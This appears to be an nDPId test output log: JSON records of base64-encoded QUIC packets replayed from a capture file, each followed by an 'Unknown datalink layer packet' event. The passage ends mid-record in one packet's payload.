+00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":904000,"pkt_caplen":59,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"pkt":"RTgAO3ZmAABAEZCSCuYoqF5h4ZLy9AG7ACeNg0JAAkdWAc94e7tU\/REFNVwMVrtyTysMFRZq3aFvugI="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":76,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOxTck0RbRMAY7MLrV782PL5vFtS1n0ArFkj3jC1RQTMo5lkLTdbYZ4fx+4MKlBNo4HRyYQr19BRJtjkAtnEhE0khWZBCUcuztvoS3ULAwG3gqw+Su3FC5IV\/rT98UziWpFvnqswP7HT1FQXbt\/53SOdspEx03BVTgEv3zM+WYj5PGBHWdkcNZIIGDHrfHwsYFq0pIkf7ANpw46hMWGUHkKPloJpXFXOlgi1\/1VT2dZ7JM4r9Q3s4XE4BApoN2p+QOJWjyS2QkspSvgcYUJjg4mRaLerxCZV4x7nNjm5bGiBI8fd8TElJPxY9je8OG0\/05zYX0pABY3xP1n22i2dk89AM8H9SYgiQPC6f3+dCGX4CZcwQrUs\/3noQV8E\/y12n8BHHLC4GRpt+kJpgiRbcR31g9YIDkThIlAm0Y+C\/1woawbwj6xL9pMbJv3AXpCSytjKHU5uWC+WmekbzJ9LlqxXwOF5KiEktAoNaZ7t7\/xXDwS+EY0icEw7qBvd7ImnGKIhHgQ6XWmpWi4Ix1kKTJ6sOc+lCL5MIONU3t9bgscJVDMynSBvpM0K07\/jO52fq8CMfV7w9sxwuDBAxsgvzuTzH7EJ\/fQY1MvA6Wc+8wCNAG5TEk7oa11c92\/+eirMPO0A+nYVihGs3xaM9b4i5tUNy5kp93TYYO36uC6zSAjzHn6awUHeL\/XnpvZQ2vhxRkc0P\/eFShn4LRBuTYTzWUMn64UVkLZasyDhbSEYrN+ZyM0VzT8Lvn5h6Zl+sGiAE+caKk2Dy22lEVFfBf5z41whoe6fLK6rNp\/NVSk0hDg75OCPSELLvDMANPXXCsxtQs0OXeOZvrGRIxV\/lRR4yMPbsNSX0kyzrmz3kzyZecEPjYPBabyeKAbxPY\/RDJlK+qKa7q+w75+ZPyhQ9ozz\/WK3ePm3CffR9DZIc3Ae1r9KAB+ffui9BAVGFnx2n5LOC+m8g4tvlbwCeYuL9jlScxtJY\/OGnvHECUg+9t4CeP8LDoaEQJ3Ztzf6x+oKQkmu6bAqa7Ry\/gIepYceJEr4exT4+4VVAOsuMnToTcPqCCM38+5u3u60FQjjG3l5eaH2yHOohsImhcUJjkAU3d4UamjwMGkj6zKTccGWrW7mxUYDzD9W+LgNECRr4F3R3Wb4uwT5hbEobhcJESOC5lMRU9kO2HxgzK\/E3Qms5P3dDV7hdwwCTySevDGJoLNicifc+uGzg+FK9mWWb0sYz1r2nQDGZy7YJF9\/N2xn9wQcSyZ+3IbfY+Sf7XnetJMzJ5Y2RjgHQpUN\/HVY5A\/\/cwH7Q46181JvdaYzyk\/MWcvRAVaveFLZOljyBUgIyPwZouPGBG1ZPlqC1nZLAuJ+xvSgXdjRvUln3T76wITEDqV0oaz7bViSNx6FXFAW3Hf7tHJxxcRGQOCplnvunCUxSWhip1zUBnNr8sP84ChFcpc0BQBrmrxHOnkDycev\/xxHR4Up1CiU7u3HON1ngFJEdEMkVRDB2tPFw4X1L9elj\/I6TBAWxcw5PGYBIAl56v5Q7IMO2PyVfx2Xa\/siEV5Axfvhr35x31OHyD5yqFTv85jle6IzSrpMWjOH2MKKS9y6qqMoRF35xznhCf9ri3+Ncjo3G0Js3Bw2wzPkU3X3pUPhlzku2j8G3SU571wbCwj5Jyo\/f4s04GAi4UE="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":77,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOxTck0RbRMAY7MLrV782PL5vFtS1n0ArFkj3jC1RQTMo5lkLTdbYZ4fx+4MKlBNo4HRyYQr19BRJtjkAtnEhE0khWZBCUcuztvoS3ULAwG3gqw+Su3FC5IV\/rT98UziWpFvnqswP7HT1FQXbt\/53SOdspEx03BVTgEv3zM+WYj5PGBHWdkcNZIIGDHrfHwsYFq0pIkf7ANpw46hMWGUHkKPloJpXFXOlgi1\/1VT2dZ7JM4r9Q3s4XE4BApoN2p+QOJWjyS2QkspSvgcYUJjg4mRaLerxCZV4x7nNjm5bGiBI8fd8TElJPxY9je8OG0\/05zYX0pABY3xP1n22i2dk89AM8H9SYgiQPC6f3+dCGX4CZcwQrUs\/3noQV8E\/y12n8BHHLC4GRpt+kJpgiRbcR31g9YIDkThIlAm0Y+C\/1woawbwj6xL9pMbJv3AXpCSytjKHU5uWC+WmekbzJ9LlqxXwOF5KiEktAoNaZ7t7\/xXDwS+EY0icEw7qBvd7ImnGKIhHgQ6XWmpWi4Ix1kKTJ6sOc+lCL5MIONU3t9bgscJVDMynSBvpM0K07\/jO52fq8CMfV7w9sxwuDBAxsgvzuTzH7EJ\/fQY1MvA6Wc+8wCNAG5TEk7oa11c92\/+eirMPO0A+nYVihGs3xaM9b4i5tUNy5kp93TYYO36uC6zSAjzHn6awUHeL\/XnpvZQ2vhxRkc0P\/eFShn4LRBuTYTzWUMn64UVkLZasyDhbSEYrN+ZyM0VzT8Lvn5h6Zl+sGiAE+caKk2Dy22lEVFfBf5z41whoe6fLK6rNp\/NVSk0hDg75OCPSELLvDMANPXXCsxtQs0OXeOZvrGRIxV\/lRR4yMPbsNSX0kyzrmz3kzyZecEPjYPBabyeKAbxPY\/RDJlK+qKa7q+w75+ZPyhQ9ozz\/WK3ePm3CffR9DZIc3Ae1r9KAB+ffui9BAVGFnx2n5LOC+m8g4tvlbwCeYuL9jlScxtJY\/OGnvHECUg+9t4CeP8LDoaEQJ3Ztzf6x+oKQkmu6bAqa7Ry\/gIepYceJEr4exT4+4VVAOsuMnToTcPqCCM38+5u3u60FQjjG3l5eaH2yHOohsImhcUJjkAU3d4UamjwMGkj6zKTccGWrW7mxUYDzD9W+LgNECRr4F3R3Wb4uwT5hbEobhcJESOC5lMRU9kO2HxgzK\/E3Qms5P3dDV7hdwwCTySevDGJoLNicifc+uGzg+FK9mWWb0sYz1r2nQDGZy7YJF9\/N2xn9wQcSyZ+3IbfY+Sf7XnetJMzJ5Y2RjgHQpUN\/HVY5A\/\/cwH7Q46181JvdaYzyk\/MWcvRAVaveFLZOljyBUgIyPwZouPGBG1ZPlqC1nZLAuJ+xvSgXdjRvUln3T76wITEDqV0oaz7bViSNx6FXFAW3Hf7tHJxxcRGQOCplnvunCUxSWhip1zUBnNr8sP84ChFcpc0BQBrmrxHOnkDycev\/xxHR4Up1CiU7u3HON1ngFJEdEMkVRDB2tPFw4X1L9elj\/I6TBAWxcw5PGYBIAl56v5Q7IMO2PyVfx2Xa\/siEV5Axfvhr35x31OHyD5yqFTv85jle6IzSrpMWjOH2MKKS9y6qqMoRF35xznhCf9ri3+Ncjo3G0Js3Bw2wzPkU3X3pUPhlzku2j8G3SU571wbCwj5Jyo\/f4s04GAi4UE="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":78,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAAQABZEakzXmHhkgrmKKgBu\/L0BOxTck0RbRMAY7MLrV782PL5vFtS1n0ArFkj3jC1RQTMo5lkLTdbYZ4fx+4MKlBNo4HRyYQr19BRJtjkAtnEhE0khWZBCUcuztvoS3ULAwG3gqw+Su3FC5IV\/rT98UziWpFvnqswP7HT1FQXbt\/53SOdspEx03BVTgEv3zM+WYj5PGBHWdkcNZIIGDHrfHwsYFq0pIkf7ANpw46hMWGUHkKPloJpXFXOlgi1\/1VT2dZ7JM4r9Q3s4XE4BApoN2p+QOJWjyS2QkspSvgcYUJjg4mRaLerxCZV4x7nNjm5bGiBI8fd8TElJPxY9je8OG0\/05zYX0pABY3xP1n22i2dk89AM8H9SYgiQPC6f3+dCGX4CZcwQrUs\/3noQV8E\/y12n8BHHLC4GRpt+kJpgiRbcR31g9YIDkThIlAm0Y+C\/1woawbwj6xL9pMbJv3AXpCSytjKHU5uWC+WmekbzJ9LlqxXwOF5KiEktAoNaZ7t7\/xXDwS+EY0icEw7qBvd7ImnGKIhHgQ6XWmpWi4Ix1kKTJ6sOc+lCL5MIONU3t9bgscJVDMynSBvpM0K07\/jO52fq8CMfV7w9sxwuDBAxsgvzuTzH7EJ\/fQY1MvA6Wc+8wCNAG5TEk7oa11c92\/+eirMPO0A+nYVihGs3xaM9b4i5tUNy5kp93TYYO36uC6zSAjzHn6awUHeL\/XnpvZQ2vhxRkc0P\/eFShn4LRBuTYTzWUMn64UVkLZasyDhbSEYrN+ZyM0VzT8Lvn5h6Zl+sGiAE+caKk2Dy22lEVFfBf5z41whoe6fLK6rNp\/NVSk0hDg75OCPSELLvDMANPXXCsxtQs0OXeOZvrGRIxV\/lRR4yMPbsNSX0kyzrmz3kzyZecEPjYPBabyeKAbxPY\/RDJlK+qKa7q+w75+ZPyhQ9ozz\/WK3ePm3CffR9DZIc3Ae1r9KAB+ffui9BAVGFnx2n5LOC+m8g4tvlbwCeYuL9jlScxtJY\/OGnvHECUg+9t4CeP8LDoaEQJ3Ztzf6x+oKQkmu6bAqa7Ry\/gIepYceJEr4exT4+4VVAOsuMnToTcPqCCM38+5u3u60FQjjG3l5eaH2yHOohsImhcUJjkAU3d4UamjwMGkj6zKTccGWrW7mxUYDzD9W+LgNECRr4F3R3Wb4uwT5hbEobhcJESOC5lMRU9kO2HxgzK\/E3Qms5P3dDV7hdwwCTySevDGJoLNicifc+uGzg+FK9mWWb0sYz1r2nQDGZy7YJF9\/N2xn9wQcSyZ+3IbfY+Sf7XnetJMzJ5Y2RjgHQpUN\/HVY5A\/\/cwH7Q46181JvdaYzyk\/MWcvRAVaveFLZOljyBUgIyPwZouPGBG1ZPlqC1nZLAuJ+xvSgXdjRvUln3T76wITEDqV0oaz7bViSNx6FXFAW3Hf7tHJxxcRGQOCplnvunCUxSWhip1zUBnNr8sP84ChFcpc0BQBrmrxHOnkDycev\/xxHR4Up1CiU7u3HON1ngFJEdEMkVRDB2tPFw4X1L9elj\/I6TBAWxcw5PGYBIAl56v5Q7IMO2PyVfx2Xa\/siEV5Axfvhr35x31OHyD5yqFTv85jle6IzSrpMWjOH2MKKS9y6qqMoRF35xznhCf9ri3+Ncjo3G0Js3Bw2wzPkU3X3pUPhlzku2j8G3SU571wbCwj5Jyo\/f4s04GAi4UE="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":79,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOymnlv5j3m8u96A2ULRuwI3114QFQUcblBiCr\/lOicgHm7\/4drmB5VBgNUxKdC4PxMuzVLLVJAYpZrZYKwHUSJVhmLjXtuF9sPdn2grAWMHcRdy5vJNP9wNcj\/M4Z\/VgXm46hkRsFeAVqCUcoKhaSDxIuMRJwZwl8qEKFAAvx+1Zl9JNGLFtXzyEOvW4E6V6E9NKCBTr2ufj3FojZLcr9jVYuvVzIbm4G3MvB7bcMGwShNXMxlThWExdk1+drn4Lj1jk1mhvBlpX5bCzubDMpNf+a3knGoUi\/nUrsjV4utpf98wE8MJDn0qtWzSwCP+mJ871ABBv48g4noEn39HOT3NniKRFQ71LhuehEFtNfxzt6iQ3LbZ7vkLZl1+rdT\/g4XA95OeA9PJ5QJGNBMeV1TVBz2ry1KSv3c640K8oNvfh6di46BwKAzZNoOI+UofigsqfdnqHhhvM4\/4n6NGSt8jBNCp1nI5zT2K5YPsm5zXuJoHUDAjHx6vzF4K62rvRj1yN8I9rFXeKVd08LvlNIBk8RniqLLWAFv+s\/GBZxt8JQ80+ux9P1hgMTrP0G1+PHs82z9iJ4EigHpvk3H\/3xqlU+G+Ck2kMIY\/vs+m0JXjSPvQgWuT5HikUti7MgwMpxf+nxJqSfLibz1psyhTDrmiVXn\/4g4a24DwkV6Nw39xC3fBPxpg53KVLaStTTz7dQ6nPJ2VW5K\/AN4jaZSpfwooXoKaL9qfWq1RZOzRhBYPRuRWf50NPeq6QFElF34RFv7a1ueWB\/Ej1xEHaQSU6WEkPsbv9uoJinDqK4Ctfmqx+0sdGl41yvSdf1+hkMwQYe2qedgIb7+s+dajjsKG3E\/\/dTX8dLqUjocR5UpagZexL0Qbal0fawwRZiceis7Mxop3flP2IgP34GVtlo4CwV2k4VWvkEAQMj9JhspQ6dY3ou0FHB2+7DIF8CaPKK3PUD6o+KZMJb+KmXvJ\/5vl7jjrxxEvoxxJAEoJhbGuzQFyet1lJitBW80xLEr7lOYMJvmq5Nw9QcH1yCL6nyiMtgN\/sM3M\/qr58Cc3WZb\/BInKFSdHz\/M5cygdRANrxKmwWVyfP+QFSg5Oe8TdPBJoiLBSeFNB64J26Re\/V0dXgy2gYUVXDm7HE1dUcpnL1AF6PJlMc2ggrGSEfkcb8XFwyqzjGozd4ugboEHdUy8N1\/Y3KA88kqZhg\/PGd9hGYQCROV7VsbcUuX8P+iFQRddvRVjlpWg5wd2celgYmBgi27WrtzL80eUbN18W8uc7L56oMRyXb84SevOLacH3k4Qq\/pbu3h0BxN3MZ+N1daQFrt3kbBcihFpTixkfD74Zh0bmoGLStYn2wS0xg+DgsnNq1oQEOM4yi9P8cyaLko1uBxQWveG5LFmpY\/muqAWbwfGIFEQtl2sGGl3NhqY7EJjLhrb+OMOOBQqtdAgmgwv6zGHu8WTeunpeR2I059bGQsO9UAS\/D1WSqF0Uhs1wk4yRIWVKUNoJd7JrrwDzCNFTdqdv4a\/6MsxRaXcJGFha2KNVR5lb5aA6tj5TDc\/Ig9ZKK0Tofgg5Sbuja2MaauaLgWaMgxmJHMAFxBWIMxVFRhlqNHGD\/k7S34rrpSj4LqMeEMULt+DMpBCDjPUHcwTqEsvVzHdGMwUtDAUA3ns7gJbFdBwClpSk1uc="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":80,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOymnlv5j3m8u96A2ULRuwI3114QFQUcblBiCr\/lOicgHm7\/4drmB5VBgNUxKdC4PxMuzVLLVJAYpZrZYKwHUSJVhmLjXtuF9sPdn2grAWMHcRdy5vJNP9wNcj\/M4Z\/VgXm46hkRsFeAVqCUcoKhaSDxIuMRJwZwl8qEKFAAvx+1Zl9JNGLFtXzyEOvW4E6V6E9NKCBTr2ufj3FojZLcr9jVYuvVzIbm4G3MvB7bcMGwShNXMxlThWExdk1+drn4Lj1jk1mhvBlpX5bCzubDMpNf+a3knGoUi\/nUrsjV4utpf98wE8MJDn0qtWzSwCP+mJ871ABBv48g4noEn39HOT3NniKRFQ71LhuehEFtNfxzt6iQ3LbZ7vkLZl1+rdT\/g4XA95OeA9PJ5QJGNBMeV1TVBz2ry1KSv3c640K8oNvfh6di46BwKAzZNoOI+UofigsqfdnqHhhvM4\/4n6NGSt8jBNCp1nI5zT2K5YPsm5zXuJoHUDAjHx6vzF4K62rvRj1yN8I9rFXeKVd08LvlNIBk8RniqLLWAFv+s\/GBZxt8JQ80+ux9P1hgMTrP0G1+PHs82z9iJ4EigHpvk3H\/3xqlU+G+Ck2kMIY\/vs+m0JXjSPvQgWuT5HikUti7MgwMpxf+nxJqSfLibz1psyhTDrmiVXn\/4g4a24DwkV6Nw39xC3fBPxpg53KVLaStTTz7dQ6nPJ2VW5K\/AN4jaZSpfwooXoKaL9qfWq1RZOzRhBYPRuRWf50NPeq6QFElF34RFv7a1ueWB\/Ej1xEHaQSU6WEkPsbv9uoJinDqK4Ctfmqx+0sdGl41yvSdf1+hkMwQYe2qedgIb7+s+dajjsKG3E\/\/dTX8dLqUjocR5UpagZexL0Qbal0fawwRZiceis7Mxop3flP2IgP34GVtlo4CwV2k4VWvkEAQMj9JhspQ6dY3ou0FHB2+7DIF8CaPKK3PUD6o+KZMJb+KmXvJ\/5vl7jjrxxEvoxxJAEoJhbGuzQFyet1lJitBW80xLEr7lOYMJvmq5Nw9QcH1yCL6nyiMtgN\/sM3M\/qr58Cc3WZb\/BInKFSdHz\/M5cygdRANrxKmwWVyfP+QFSg5Oe8TdPBJoiLBSeFNB64J26Re\/V0dXgy2gYUVXDm7HE1dUcpnL1AF6PJlMc2ggrGSEfkcb8XFwyqzjGozd4ugboEHdUy8N1\/Y3KA88kqZhg\/PGd9hGYQCROV7VsbcUuX8P+iFQRddvRVjlpWg5wd2celgYmBgi27WrtzL80eUbN18W8uc7L56oMRyXb84SevOLacH3k4Qq\/pbu3h0BxN3MZ+N1daQFrt3kbBcihFpTixkfD74Zh0bmoGLStYn2wS0xg+DgsnNq1oQEOM4yi9P8cyaLko1uBxQWveG5LFmpY\/muqAWbwfGIFEQtl2sGGl3NhqY7EJjLhrb+OMOOBQqtdAgmgwv6zGHu8WTeunpeR2I059bGQsO9UAS\/D1WSqF0Uhs1wk4yRIWVKUNoJd7JrrwDzCNFTdqdv4a\/6MsxRaXcJGFha2KNVR5lb5aA6tj5TDc\/Ig9ZKK0Tofgg5Sbuja2MaauaLgWaMgxmJHMAFxBWIMxVFRhlqNHGD\/k7S34rrpSj4LqMeEMULt+DMpBCDjPUHcwTqEsvVzHdGMwUtDAUA3ns7gJbFdBwClpSk1uc="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":81,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAABQABZEakyXmHhkgrmKKgBu\/L0BOymnlv5j3m8u96A2ULRuwI3114QFQUcblBiCr\/lOicgHm7\/4drmB5VBgNUxKdC4PxMuzVLLVJAYpZrZYKwHUSJVhmLjXtuF9sPdn2grAWMHcRdy5vJNP9wNcj\/M4Z\/VgXm46hkRsFeAVqCUcoKhaSDxIuMRJwZwl8qEKFAAvx+1Zl9JNGLFtXzyEOvW4E6V6E9NKCBTr2ufj3FojZLcr9jVYuvVzIbm4G3MvB7bcMGwShNXMxlThWExdk1+drn4Lj1jk1mhvBlpX5bCzubDMpNf+a3knGoUi\/nUrsjV4utpf98wE8MJDn0qtWzSwCP+mJ871ABBv48g4noEn39HOT3NniKRFQ71LhuehEFtNfxzt6iQ3LbZ7vkLZl1+rdT\/g4XA95OeA9PJ5QJGNBMeV1TVBz2ry1KSv3c640K8oNvfh6di46BwKAzZNoOI+UofigsqfdnqHhhvM4\/4n6NGSt8jBNCp1nI5zT2K5YPsm5zXuJoHUDAjHx6vzF4K62rvRj1yN8I9rFXeKVd08LvlNIBk8RniqLLWAFv+s\/GBZxt8JQ80+ux9P1hgMTrP0G1+PHs82z9iJ4EigHpvk3H\/3xqlU+G+Ck2kMIY\/vs+m0JXjSPvQgWuT5HikUti7MgwMpxf+nxJqSfLibz1psyhTDrmiVXn\/4g4a24DwkV6Nw39xC3fBPxpg53KVLaStTTz7dQ6nPJ2VW5K\/AN4jaZSpfwooXoKaL9qfWq1RZOzRhBYPRuRWf50NPeq6QFElF34RFv7a1ueWB\/Ej1xEHaQSU6WEkPsbv9uoJinDqK4Ctfmqx+0sdGl41yvSdf1+hkMwQYe2qedgIb7+s+dajjsKG3E\/\/dTX8dLqUjocR5UpagZexL0Qbal0fawwRZiceis7Mxop3flP2IgP34GVtlo4CwV2k4VWvkEAQMj9JhspQ6dY3ou0FHB2+7DIF8CaPKK3PUD6o+KZMJb+KmXvJ\/5vl7jjrxxEvoxxJAEoJhbGuzQFyet1lJitBW80xLEr7lOYMJvmq5Nw9QcH1yCL6nyiMtgN\/sM3M\/qr58Cc3WZb\/BInKFSdHz\/M5cygdRANrxKmwWVyfP+QFSg5Oe8TdPBJoiLBSeFNB64J26Re\/V0dXgy2gYUVXDm7HE1dUcpnL1AF6PJlMc2ggrGSEfkcb8XFwyqzjGozd4ugboEHdUy8N1\/Y3KA88kqZhg\/PGd9hGYQCROV7VsbcUuX8P+iFQRddvRVjlpWg5wd2celgYmBgi27WrtzL80eUbN18W8uc7L56oMRyXb84SevOLacH3k4Qq\/pbu3h0BxN3MZ+N1daQFrt3kbBcihFpTixkfD74Zh0bmoGLStYn2wS0xg+DgsnNq1oQEOM4yi9P8cyaLko1uBxQWveG5LFmpY\/muqAWbwfGIFEQtl2sGGl3NhqY7EJjLhrb+OMOOBQqtdAgmgwv6zGHu8WTeunpeR2I059bGQsO9UAS\/D1WSqF0Uhs1wk4yRIWVKUNoJd7JrrwDzCNFTdqdv4a\/6MsxRaXcJGFha2KNVR5lb5aA6tj5TDc\/Ig9ZKK0Tofgg5Sbuja2MaauaLgWaMgxmJHMAFxBWIMxVFRhlqNHGD\/k7S34rrpSj4LqMeEMULt+DMpBCDjPUHcwTqEsvVzHdGMwUtDAUA3ns7gJbFdBwClpSk1uc="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":82,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAACQABZEalpXmHhkgrmKKgBu\/L0BOyUCkOa2SPA+0lkRZeFcDodHshGA9+Go7GBlPqa7If3XTxHBWeJouljvg\/vH0EgPXWqKkjng2uq+0fyFM+xmqA7HdndRxNImcMQP5gjoTduElL\/VS1hJd86uFK6yONIzhOBp310iRLwJ9bJ09ho2rRpCuvGRBDYJ46mWhYFY7jWDm5+I94bjnLp87UFrJbOD5xaazIHTxfnCHPic+qroye2yrNB6sBcXMwLDfUtLJ1QMD5Q\/Oukn9oGxWF\/PSRhsA\/LWBVI2O3QTql7zsLGgSk\/0HV8zG+hMj35dAaNYlglq\/hROOQRNFMu3KGY4lDUAL\/MAHg43VQ9AnCsj\/cpIGkNYsm7Lr3XJ4CLlRG1+kBAJOYz+qQ61mf2zxZUvwoFfTqmciyQmSXv0dmKYncjOwNcLvQoycF86kQzEHwm9LDykNky4wou4amovhVJSGT\/mVVzX+79UZMiHJyhQoW0Di5jWb\/BV9OTMU83T5VchlJ5azWrzjoBiauMLbKdJqn5XQEn4fC\/rkH5x5BC4+YerbEuaYhBBG+LZvIB2dMLlPvZbju1auOYR1bG+9fs5pbg5o4RssgyGLR1UR1QxCoCYH4HQ0twCtNIiMolL8viKucBUPftJiHOPnWVTaPRK\/HvwPohBpWTrCRCJIyckQkjWPD3aoN2H82N2EXBHOGq1Swhmsa8JNOehhS3JgXu\/60REhJu4Vv56nNRlVxPE3bmKJohcmnU0OE9IQpl1+IrOxPbu+F3Gwohh0d5abMIJhyDr4tYbu7JRSY2BznOPBngSDyUntrg6iHrnaCsYIiOI1\/JNabs\/yoFtoSvt8NMCzbx8Vo2+9wtUnyUUg8bujnf2VSD8WtoyO9lx1RrnAAeL0jNxw2Pa4SCIDShGBnqqD\/gu74j0UkvP5qU2XxSPzfwikkRkZ4JfBseFpk1AmWTLq6GPUgsACzHj6PEjmQxJ5ol9\/YvA56n9\/i6p8jP0s8xeUQ3pEhWHWrVmJcwIqbi6sZcRPmEjPPq3PmYi9C9jMmEIyRW6cnyqle8ijx3SeWOIOCZ2rfVHEMSDS4AEnAyhrgmyxvAVR2AXeatw\/Uh0LgUB4RkyOTkJDzYc\/FoJpQnOIQQg+l516h1EOfUeensSLQ\/yzIHNb3nqbP7KUMMj37hJg3mIA8HyZ8ygdDRIyx1HYnMAI\/m3eHqoMz4xKW68oAy0ARP79QDsDGLkzZtS1n91za+zPjRlrclWAEYg9gPtuqSoWV+RFesh+sb6hfUAtK45K10dYydyEFEllhHPWhJvxeGEIG+4RJ+Dp7BNanHTQJGBfxRZ5p8+ucmp+KrO7QP+JkZPENS6zOt\/xdoNj1dYd8iIs1ABtNisv1OT6BfA9xQP50ZG+0I6cyjP7N\/H10b99cu9qTIIxEyFxrTW3M2CsIoAuX18Y1dMTsWHHiTYSBGiolqMasGpo\/M5oldujLsdI0xFnEKY+sglJJ753jFNGL+t1XX9T\/5Ngn9i7NumxnwHsw1KE7C\/T8RLYcuMkmtYlOR8DOarBV\/o+dV6exkyrE0DRP22xf6jVVgg51LzKyOIxAZNFnaGrkqPjlGzWA8zbJeV7NwwgSfzmES2i9zW6QmpdYy5Gprc0zcWSL4BjRBV6mFvI5SzDZXxmKhmN09bp+d9eCSY7FZU8KFKVG3V6xBZn879G8="} +00183{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":83,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":906000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAACQABZEalpXmHhkgrmKKgBu\/L0BOyUCkOa2SPA+0lkRZeFcDodHshGA9+Go7GBlPqa7If3XTxHBWeJouljvg\/vH0EgPXWqKkjng2uq+0fyFM+xmqA7HdndRxNImcMQP5gjoTduElL\/VS1hJd86uFK6yONIzhOBp310iRLwJ9bJ09ho2rRpCuvGRBDYJ46mWhYFY7jWDm5+I94bjnLp87UFrJbOD5xaazIHTxfnCHPic+qroye2yrNB6sBcXMwLDfUtLJ1QMD5Q\/Oukn9oGxWF\/PSRhsA\/LWBVI2O3QTql7zsLGgSk\/0HV8zG+hMj35dAaNYlglq\/hROOQRNFMu3KGY4lDUAL\/MAHg43VQ9AnCsj\/cpIGkNYsm7Lr3XJ4CLlRG1+kBAJOYz+qQ61mf2zxZUvwoFfTqmciyQmSXv0dmKYncjOwNcLvQoycF86kQzEHwm9LDykNky4wou4amovhVJSGT\/mVVzX+79UZMiHJyhQoW0Di5jWb\/BV9OTMU83T5VchlJ5azWrzjoBiauMLbKdJqn5XQEn4fC\/rkH5x5BC4+YerbEuaYhBBG+LZvIB2dMLlPvZbju1auOYR1bG+9fs5pbg5o4RssgyGLR1UR1QxCoCYH4HQ0twCtNIiMolL8viKucBUPftJiHOPnWVTaPRK\/HvwPohBpWTrCRCJIyckQkjWPD3aoN2H82N2EXBHOGq1Swhmsa8JNOehhS3JgXu\/60REhJu4Vv56nNRlVxPE3bmKJohcmnU0OE9IQpl1+IrOxPbu+F3Gwohh0d5abMIJhyDr4tYbu7JRSY2BznOPBngSDyUntrg6iHrnaCsYIiOI1\/JNabs\/yoFtoSvt8NMCzbx8Vo2+9wtUnyUUg8bujnf2VSD8